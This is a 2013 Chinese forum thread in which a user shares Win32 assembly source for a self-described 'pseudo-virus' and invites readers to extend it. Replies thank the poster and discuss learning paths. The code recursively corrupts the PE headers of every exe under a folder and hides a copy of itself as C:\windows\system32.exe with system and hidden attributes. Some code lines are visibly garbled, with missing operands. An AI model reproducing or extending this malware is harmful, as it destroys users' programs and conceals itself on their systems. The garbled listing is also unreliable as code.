小生我怕怕 发表于 2013-3-9 15:10:49

分享一个Win32汇编的伪病毒代码

本帖最后由 小生我怕怕 于 2013-3-9 15:30 编辑

   很久没发表技术方面的帖子了,最近其他事情比较多,也耽搁了不少时间,尤其是之前答应鱼友的坑,还有很多没有填!时光一年一年的度过,看到有些鱼友从当初走到现在,替你们感到很高兴,希望大家都坚持下来!

    这段时间,很多人问我!几乎都有一个疑惑,那就是学完汇编以后不知道该干什么,下面该怎么继续提升,其实这个问题,因人而异,因为...(还是大家慢慢的感悟和理解吧)下面我分享一个Win32汇编的伪病毒代码,是很久之前写的东东了,希望给有些迷茫的人一启发...为什么是伪,请看下面!

功能:
       1.感染文件夹 D:\1\下 的所有exe文件,(包括嵌套文件夹下的)
       2.复制自身到指定目录下,并设置文件属性

不足:
      1.没有对其他格式文件进行处理
      2.只是简单的破坏下PE文件,没有编写相应的破坏代码,如:修改入口,添加节区...
      3.没有网络传染能力和注册表,绑定等技术!更没有重定位和基地址获取!
      只是一个启发,希望有兴趣的朋友,以此文抛砖引玉,写出功能更强大的东东来!
      
注:代码很简单,注释我就不写了,代码年久失修,如有不妥之处,欢迎回帖纠正!

源码:

.386
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
include kernel32.inc
includelib kernel32.lib
includelib kernel32.lib
;********************************************************************
.data
sz1 db 'D:\1\',0
sz2 db '*.*',0
sz3 db 32 dup(?)
sz4 db 32 dup(?)
sz5 db 'C:\windows\system32.exe',0
p2dd ?
;********************************************************************
.code
_FindFile       proc      _lpszPath
                        local   @stFindFile:WIN32_FIND_DATA
                        local   @hFindFile
                        local   @szPath:byte;用来存放“路径\”
                        local   @szSearch:byte;用来存放“路径\*.*”
                        local   @szFindFile:byte;用来存放“路径\找到的文件”
                        pushad
         invoke lstrcpy,addr @szPath,_lpszPath
;********************************************************************
                        invokelstrlen,addr @szPath
                        lea   esi,@szPath
                        add   esi,eax
                        xor   eax,eax
                        mov   al,'\'
                        .if   byte ptr != al
                              mov   word ptr ,ax
                        .endif
                        invokelstrcpy,addr @szSearch,addr @szPath
                        invokelstrcat,addr @szSearch,addr sz2
;********************************************************************
invoke      FindFirstFile,addr @szSearch,addr @stFindFile
.if         eax !=INVALID_HANDLE_VALUE
                mov   @hFindFile,eax
                .repeat
                        invokelstrcpy,addr @szFindFile,addr @szPath
                        invoke   lstrcat,addr @szFindFile,addr @stFindFile.cFileName
                        .if   @stFindFile.dwFileAttributes& FILE_ATTRIBUTE_DIRECTORY
                              .if   @stFindFile.cFileName != '.'
                                        invoke_FindFile,addr @szFindFile
                              .endif
                        .else
   invoke lstrcpy,offset sz3,addr @szFindFile
                        call ww1
                        .endif
                        invokeFindNextFile,@hFindFile,addr @stFindFile
            .untileax == FALSE
            invokeFindClose,@hFindFile
.endif
;********************************************************************
                  popad
                  ret
_FindFile       endp
ww1 proc
LOCAL file:OPENFILENAME
LOCAL h1,l1,p1,s1
invoke CreateFile,offset sz3,GENERIC_READ or GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
mov h1,eax
invoke GetFileSize,eax,NULL
mov l1,eax
invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
mov p1,eax
invoke RtlZeroMemory,eax,l1
invoke ReadFile,h1,p1,l1,offset p2,NULL
mov esi,p1
assume esi:ptr IMAGE_DOS_HEADER
mov eax,.e_lfanew
mov ecx,eax
add esi,eax
assume esi:ptr IMAGE_NT_HEADERS
movzx eax,.FileHeader.NumberOfSections
inc eax
;dec eax
mov s1,eax
add ecx,6
invoke SetFilePointer,h1,ecx,NULL,FILE_BEGIN
invoke WriteFile,h1,addr s1,2,offset p2,0
invoke CloseHandle,h1
ret
ww1 endp
;********************************************************************
run proc
invoke GetModuleHandle,NULL
invoke GetModuleFileName,NULL,offset sz4,32
invoke CopyFile,offset sz4,offset sz5,FALSE
invoke SetFileAttributes,offset sz5,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
ret
run endp
;********************************************************************
start:
call run

lea eax,offset sz1
push eax
call _FindFile
;********************************************************************
end start

小生我怕怕 发表于 2013-3-9 20:59:04

可以看出论坛搞PE和这方面的人不多!

一水一休 发表于 2013-3-9 21:30:42

谢谢楼主指导可能现在人都没在吧我相信学汇编的人都还是很有兴趣搞PE的:P

安阳王志宇 发表于 2013-3-9 22:09:55

楼主 大婶啊,支持你,,快了,看了 pe 结构就代表 win32汇编 要结束,

1270911743 发表于 2013-3-10 12:26:16

谢谢楼主指导

ai979520253 发表于 2013-3-10 12:50:11

我想说,谢谢你,多少会有点启发,只是我想向反汇编方向发展,不知道老师你有什么建议或意见?学生有礼了。目前初学,再看王爽老师的汇编语言。请老师给我一个学习发展路线

ai979520253 发表于 2013-3-10 12:51:08

小生我怕怕 发表于 2013-3-9 20:59 static/image/common/back.gif
可以看出论坛搞PE和这方面的人不多!

恩,确实,

失心失落 发表于 2013-3-10 13:05:36

:loveliness:前排支持

小生我怕怕 发表于 2013-3-13 02:20:23

ai979520253 发表于 2013-3-10 12:50 static/image/common/back.gif
我想说,谢谢你,多少会有点启发,只是我想向反汇编方向发展,不知道老师你有什么建议或意见?学生有礼了。 ...

反汇编,预备基础:汇编,C/C++,中期:数据结构算法,PE格式   后期的核心编程,密码学,内核,驱动ring0方面的东西。还有其他OD,IDA等工具,一句话, 至少要有3年以上的某个系统平台的软件开发经验,比如 windows, 熟悉系统内部的每一个运作原理

平心 发表于 2013-3-13 08:37:38

谢谢楼主指导

prie 发表于 2013-3-13 08:47:53

支持:victory:

1270911743 发表于 2013-3-13 08:50:06

支持支持支持支持支持

cmqi159 发表于 2013-3-13 09:18:21

牛地方:@{:1_1:}:loveliness:;P;P

madalin 发表于 2013-3-13 09:41:30

向前辈致敬、学习!{:1_1:}

风轻云淡_1/10 发表于 2013-3-13 10:28:13

新手,打算往WG方面做,该学什么呢,不太知道外G过保护这些需要什么,学习方向有点不确定,望指点

沉思者 发表于 2013-3-13 11:27:16

等我学完王爽老师的那本之后,就开始学win32汇编,吼吼~~~

bigfatcat 发表于 2013-3-13 12:06:32

伪病毒是不多啊!

pcode 发表于 2013-3-13 20:41:39

我刚刚准备学习汇编。你的《汇编语言笔记》还有续集吗?

ai979520253 发表于 2013-3-18 13:25:42

小生我怕怕 发表于 2013-3-13 02:20 static/image/common/back.gif
反汇编,预备基础:汇编,C/C++,中期:数据结构算法,PE格式   后期的核心编程,密码学,内核,驱动ring ...

我知道了,老师。谢谢你。学生会努力的

qwe789456 发表于 2013-3-18 14:10:43

路过看下...
页: [1] 2 3
查看完整版本: 分享一个Win32汇编的伪病毒代码